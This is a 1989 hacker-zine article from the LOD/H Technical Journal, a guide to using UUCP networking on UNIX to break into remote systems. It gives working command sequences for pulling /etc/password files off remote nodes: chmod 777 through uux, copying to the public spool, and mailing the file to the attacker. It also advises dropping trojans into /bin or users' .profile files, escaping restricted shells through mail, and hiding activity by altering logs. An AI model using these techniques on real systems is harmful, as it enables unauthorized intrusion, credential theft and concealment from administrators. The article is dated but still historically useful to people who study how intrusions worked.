The LOD/H Technical Journal, Issue #4: File 05 of 10 ===================================================== || || || A Hacker's Guide to UUCP || || || || by || || || || The Mentor || || || || Legion of Doom/Hackers || || || || 08/04/89 || || || ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Scope ~~~~~ Part I of this file is intended for the casual hacker- someone familiar with UNIX commands, but who hasn't had extended experience with the UUCP network. Part II will be intended for the advanced hacker who has the confidence and knowledge to go out and modify a UNIX network- the logs, the paths, the permissions, etc... Introduction ~~~~~~~~~~~~ Like it or not, UNIX is the most popular operating system in the world. As a hacker, you are likely to run into several hundred UNIX machines over the course of your hacking career. Knowing how to move around and use the UNIX environment should be considered absolutely essential, especially since UNIX is the operating system of choice among phone company computers. This article is not an attempt to teach you how to use UNIX. If you don't know what a '$ls -x > dir' does, you need to put this article in your archives, get a good basic file on UNIX (or buy a book on it- there are several good ones out ((see the Bibliography at the end of this file for suggestions))), read it, and then play around some in a UNIX machine. Please! If you have managed to stumble into a Bell system, do *not* use it as a machine to learn UNIX on! You *will* get noticed by security, and this will lead not only to the security being tightened, but may well lead to Bell Security going through your underwear drawer. The information in this article is mainly concerning AT&T System V UNIX. I have included BSD 4.3 & Xenix information also in cases that I was able to determine alternate procedures. All information has been thoroughly tested and researched on as many machines as possible. Standard disclaimer, your system may be slightly different. Glossary & Usage ~~~~~~~~~~~~~~~~ BNU - Basic Networking Utilities. System V.3's uucp package. daemon - A program running in the background. LAN - Local Area Network. network - A group of machines set up to exchange information and/or resources. node - A terminating machine on a network. UUCP - When capitalized, refers to the UNIX networking utilities package. uucp - In lower case, refers to the program Unix-to-Unix-CoPy. I. General Information ~~~~~~~~~~~~~~~~~~~ A. What is UUCP? UUCP is a networking facility for the UNIX operating system. It is made up of a number of different programs that allow UNIX machines to talk to each other. Using UUCP, you can access a remote machine to copy files, execute commands, use resources, or send mail. You can dial out to other non-UNIX computers, and you can access public mail/news networks such as USENET. B. History of UUCP The first UUCP system was built in 1976 by Mike Lest at AT&T Bell Labs. This system became so popular that a second version was developed by Lesk, David Nowitz, and Greg Chesson. Version 2 UUCP was distributed with UNIX Version 7. With System V Release 3, a new version of UUCP that was developed in 1983 by Peter Honeyman, David A. Nowitz, and Brian E. Redman. This version is known as either HoneyDanBer UUCP (from the last names of the developers), or more conventionally as Basic Networking Utilities (BNU). I will stick with BNU, as it is easier to type. BNU is backward compatible with Version 2, so there is no problem communicating between the two. BSD 4.3's UUCP release incorporates some of the BNU features, but retains more similarity to Version 2 UUCP. If you are unsure about which version of UUCP is on the system that you are in, do a directory of /usr/lib/uucp and look at the files. If you have a file called L.sys, you are in a Version 2 system. If there is a file called Systems, then it's BNU. See Table 1 for a fairly complete listing of what system runs what UUCP version. Table 1* ~~~~~~~ Manufacturer Model UNIX/UUCP Version _____________________________________________________________ | | | | | Apollo | 3000 Series (Domain) | BSD 4.2/Version 2| | Altos | All models | Xenix/Version 2 | | AT&T | 3B1 (UNIX PC) | System V.2/Vers.2| | AT&T | 3B2 | System V.3/BNU | | AT&T | 3B15 | System V.3/BNU | | Convergent | Miniframe (CTIX) | System V.2/Vers.2| | Technologies | Mightframe (CTIX) | System V.3/BNU | | DEC | MicroVAX | Ultrix/Vers. 2 + | | DEC | VAX | BSD 4.3/Vers. 2 +| | Encore | Multimax | System V.3/BNU | | IBM | PC-RT (AIX) | System V.2/Vers.2| | Masscomp | MC-5000 Series | System V.3/BNU | | Microport | PC/AT | System V.2/Vers.2| | NCR | Tower 32/16 | System V.2/Vers.2| | Prime | EXL Series | System V.2/Vers.2| | Pyramid | 90x | BSD 4.2/Version 2| | SCO/Xenix | PC/XT | System V.2/Vers.2| | Unisys | 5000 & 7000 Series | System V.2/Vers.2| | | | | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * This table is slightly outdated. Some of the systems may have upgraded since this article was written. II. UUCP Communications ~~~~~~~~~~~~~~~~~~~ A. Overview of UUCP User Programs There are a number of programs that are used by a UUCP communication network. Some are standard UNIX programs, others are exclusively part of the UUCP package. ................................................................. These three are standard UNIX commands: mail- UNIX's mail facility can be used to send messages to other systems on a UUCP network. cu- Connects you to a remote machine and allows you to be logged in simultaneously to both machines. Also allows you execute commands on either machine without dropping the link. tip- (BSD) same as cu. +++ There are five main programs within UUCP: uucp- Does all the setup for a remote file transfer. uucp creates files that describe the file transfer (called 'work' files), then calls the uucico daemon to do the actual work. uux- Used to execute commands on a remote machine. uux performs similar to uucp, except that commands are processed instead of files. uuname- Used to list the names of other systems that are connected to your network. uulog- Displays the uucp log for the specified machine. I'll be showing how to cover your uucp tracks from this later in the article. uustat- Gets the status of uux requests. Also lets you manipulate the contents of a UUCP queue. +++ System V also has two additional programs: uuto- Allows you to send files to another user similar to the UNIX mail command. uupick- Allows you to read files sent to you with uuto. +++ BSD 4.3 has two additional programs: uuq- Lets you view & manipulate UUCP jobs that are waiting to be processed, similar to System V's uupick program. uusend- Lets you forward files through a string of systems. .................................................................. III. Using the Programs ~~~~~~~~~~~~~~~~~~ A. uuname This one is easy & friendly. All you do is type '$uuname'. It will spit out a list of all systems on your network. If you aren't sure about the name of your local system, invoke uuname with the -l option. ($uuname -l). B. mail I'm not going to say to much about mail, as it isn't a program that you will use much as a hacker except possibly to break out of a shell. Sending mail to other people is not a good way to stay hidden, as all mail transfer to remote systems is logged (no, they may not read the mail, but they're likely to notice that the unassigned ADMIN account is suddenly getting mail from all over the world...) These logs can be modified, however. This will be covered in Part II. Briefly, mail is invoked with the command 'mail username' (or mailx under some systems). If you wish to send mail to user john on the system you're on, you would type: mail john Dear John- This is mail. Enjoy it. ^D (usage note, this means control-D) To send mail to a user on a remote system, or a string of systems, you would use the ! key to indicate a remote system name. If you were on node Alpha and wanted to send mail to john on node Beta, you would address your mail to 'mail Beta!john'. If you wanted to send mail to a user on system that's not connected to yours, but *is* connected to a machine you are connected to, you would string together the system names, separated by a !. For example, if node Saturn was connected to Beta, but not to Alpha, you could send mail to susan on Saturn with 'mail Beta!Saturn!susan'. Please note- If you are running the C-Shell or Bourne Shell, you will have to prefix the ! with a \. i.e. 'mail Beta\!Saturn\!susan'. Also, the mail header displays the system name, return path, and account name that you send mail from, so don't try to anonymously mail someone a message- it won't work. Another quick feature (this is under the 'basic unix knowledge' category), if you want to mail a file named 'message' to someone, you'd type the following - '$mail Beta!Saturn!susan < message'. Finally, as mentioned above, it may be possible to break out of a restricted shell within mail. Simply send mail to yourself, then when you enter mail to read the message, type !sh to exit from mail into shell. This will often blow off the restricted shell. C. File Transfer One of the first things that you will want to do when you discover that you're on a network (uuname, remember?) is to grab a copy of the /etc/password file from the systems on the net then run Shooting Shark's password hacking program from TJ Issue #2. Even if you have no use for it now, save it & label it, you never know when you might need to get into that system. Besides, when printed, they make fun & interesting wallpaper. Unfortunately, the /etc/ directory will sometimes have access restricted. You can get around this by copying the /etc/password file to the /usr/spool/uucppublic directory using the uux command (see below). If the uux program has restrictions on in, then you may have to actually hack into the remote system using the rlogin command. Be persistent. UUCP is also useful in that it allows you to send a file from your system to a remote system. Got a nice little trojan you need to insert on their system? Use UUCP to drop it into the /bin/ directory. Or if they protected the /bin/ directory (likely, if they have half a brain), they might have forgotten to protect all of the users private directories (i.e. /usr/mike or /usr/susan or sometimes even /usr/admin). UUCP a copy of a .profile file to your system, insert your own stuff in it, then UUCP it back to its original directory where the user will access it the next time he logs in. People rarely $cat their .profile file, so you can usually get away with murder in them. While uucp has some limitations, it has the advantage of being present on every UUCP system in the world. If you're on a System V, you will probably use uuto & uupick much more frequently, as it's easier to do subtle hacks with them. But if uucp is all you have, remember, you're a hacker. Show some ingenuity. The syntax of uucp when sending a file is: $uucp [options] For example, you have a program sitting in your working directory on node Alpha called 'stuff', and you want to plop it into the /usr/spool/uucppublic/mike/ directory of node Beta. The command would be '$uucp stuff Beta!/usr/spool/uucppublic/mike/'. (Don't forget to add a slash in front of the exclamation point if you're in C-Shell or Bourne!) A good thing to know that will save you some typing is that the /usr/spool/uucppublic/ directory can be abbreviated as ~/ (in KSH only), so that the above command could look like '$uucp stuff Beta!~/mike/'. You can also specify a path other than ~/. If you wish to drop your 'new & improved' version of the /etc/password file into the /etc/ directory, you could do a '$uucp password Beta!/etc/'. Just don't be surprised if it gets bounced with a message similar to the following: From uucp Sat Dec 24 23:13:15 1988 Received: by Beta.UUCP (2.15/3.3) id AA25032; Sat Dec 24 23:13:15 edt Date: Sat Dec 24 23:13:15 edt From: uucp Apparently to: hacker Status: R file /etc/password, system Beta remote access to path/file denied Another hacker-friendly feature of UUCP is the ability to copy something into a remote user's login directory by entering a ~ character before the username. For example, to dump a modified .profile file into a user on Beta named alex, you would do the following: '$uucp .profile Beta!~alex' The syntax for uucp when receiving a remote file is: $uucp [options] For example, you wish to grab Beta's password file and put it in a subdirectory called tmp in the account 'hacker' on node Alpha. The command would be: '$uucp Beta!/etc/password Alpha!/usr/hacker/tmp/'. The same things concerning use of tildes (~) demonstrated in sending files applies when receiving them. The following table contains valid options to the uucp command. Table 2 ~~~~~~~ _________________________________________________ | | | -C Copy the local source file to the spool | | directory before attempting the trans- | | fer. | | | | -f If the directory doesn't exist, abort the | | transfer. Normally uucp will create any | | non-existent directories, which is bad | | technique if you're a good hacker... | | | | -j Display the UUCP job request number. This | | is useful if you're going to use uustat | | to manipulate & reroute UUCP requests in | | the queue. | | | | -m Notify sender by mail when copy is done. | | Potentially hazardous, as incoming mail | | is logged. Later on I'll show how to | | modify that log... | | | | -n Notify the user specified on | | the remote system when the xfer is done. | | I assume everyone sees how foolish this | | would be, right? | | | | -r Queue the job, but do not contact remote | | system immediately. Can't see any pros | | or cons in using this one... | | | | -s Pipe the UUCP status messages | | to filename. Useful if you wish to log | | off & then check the progress later. | | | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ D. Executing Remote Commands The uux program allows users to execute a program on another system on the network. While in theory this is the most useful command a hacker can use, in practice it is usually heavily restricted- any system administrator with half a brain realizes that letting people execute any command they like from across the country is not the way to maintain system integrity. There are, however, some useful things that can be done with uux even if the sysadmin has protected the things that *he* thinks are dangerous (remember, he's not a hacker, you are. You are smarter, more persistent, and much cleverer than he is. He doesn't like coming to work every day, can't wait to leave, and will do the minimum possible to get by. You're different. You're dedicated & tricky. You *like* what you're doing. If you don't, get the hell out & let others who do take over. End of the pep talk.) The format for the uux command is: $uux [options] command-string. See Table 3 below for a list of options. Ok, ideal case. The System manager of Beta is an idiot who has left all possible commands open, and the uucico daemon has root privs. Let's say you want to alter the protection of the password file, copy it into the ~/ (public, remember?) directory, then copy it over to your system. The sequence of commands would be: $uux Beta!chmod 777 /etc/password $uux Beta!cp /etc/password /usr/spool/uucppublic/info.txt $uucp Beta!~/info.txt /usr/hacker/ The first line would modify the protection where anyone could get to it, the second line would copy it into the ~/ directory, and the third line would send it along to you. Unfortunately, most commands are disabled (useful ones like chmod and cat and ls, at least.) But sometimes you can get around that. For instance, often you might not be able to ls or cp the password file. But very rarely will mail be disabled. So if you wanted a copy of the password file, you have them mail you one: $uux Beta!mail Alpha!hacker < /etc/password Later in the UUCP Administration section, I'll explain how to modify the remote system so any command you want is executable. When you execute a remote command, UUCP will automatically send you mail telling you how it went. It's a good idea to check the logs and see if there's anything you need to remove to cover your presence (this subject will be covered in Part II). If you are executing a command that is going to need data from a file, you specify that the file is on your local system by prefacing it with a \!. I can't think of many reasons to use this, but perhaps you can. As an example, let's say you wanted to print a file in your directory called 'stuff' out on a remote laser printer (bad hacking practice, and difficult to retrieve.) Do this: $uux Beta!lp -dlaser \!stuff If the command you want to execute (whodo in this example) is forbidden, you will get a notification message similar to the following: From uucp Sat Dec 24 23:12:15 EDT 1988 >From uucp Sat Dec 24 23:12:13 EDT 1988 remote from Beta Status: R0 uuxqt cmd (whodo) status (DENIED) If you are going to need the standard output for a command, pipe it into ~/. And any files or processes created by uux will belong to the user uucp, not to you. Table 3 ~~~~~~~ __________________________________________________________ | | | -a Notify user username when completed. | | | | -b Print the Standard Input when the exit status | | indicates an error. | | | | -c Do not copy files to the spool directory (I | | recommend this one...too big a chance of someone | | glancing in the spool dir. | | | | -g Sets the priority of the transfer. | | The lower alphabetically or numerically that | | the char or num is, the faster the process will | | be executed. i.e. -ga or -g2 will go faster | | than -gr or -g8. | | | | -j Print the UUCP job number. Useful if you're | | going to be playing with the queue. | | | | -I (BSD Only) Make a link from the original file to | | the spool dir. I'm not sure what this is for. | | | | -L (BSD Only) Start up the uucico daemon. | | | | -n Don't notify by mail. Recommended if you don't | | have the authority or knowledge to modify the | | system mail logs. | | | | -p Use Standard Input | | | | -r Queue the job but don't start uucico. | | | | -s Send transfer status to file filename. | | | | -x<0..9> Set level of debugging information. | | | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ E. uustat & uulog These two programs are used to track UUCP jobs and examine their status. uustat prints out a one-line summary for each job, telling you if the job is finished or the job is queued. Older versions of uustat will have the job state as either JOB DELETED or JOB IS QUEUED. The output of uustat will look like the following: $uustat 1001 hacker Alpha 10/31-09:45 10/31-10:15 JOB IS QUEUED 1002 hacker Alpha 10/30-08:15 10/30-11:25 COPY FINISHED | | | | | | | | | | | | job # user node start-time status-time job-status See Table 4 for a list of options for the uustat command. uulog is a more thorough version of uustat, as it tracks the status messages logged by the system as your job proceeded through the system. See Table 5 for options of the uulog command. Table 4* ~~~~~~~ _________________________________________________ | | | -a report all queued jobs. | | | | -k kill job # job#. | | | | -m report if another system is accessible. | | | | -q report the number of jobs queued for | | all systems on the net. | | | | -s report the status of jobs for | | the system named systemname. | | | | -u report the status of jobs for | | user username. | | | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * There are several other options such as -o and -y that are system specific, and aren't really that useful to begin with. Table 5 ~~~~~~~ ______________________________ | | | -s same as uustat | | | | -u same as uustat | | | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ****************************************************************** This marks the end of Part I. If time permits a Part II will be in the next LOD/H Technical Journal. (c) 1989 The Mentor Legion of Doom/Legion of Hackers ******************************************************************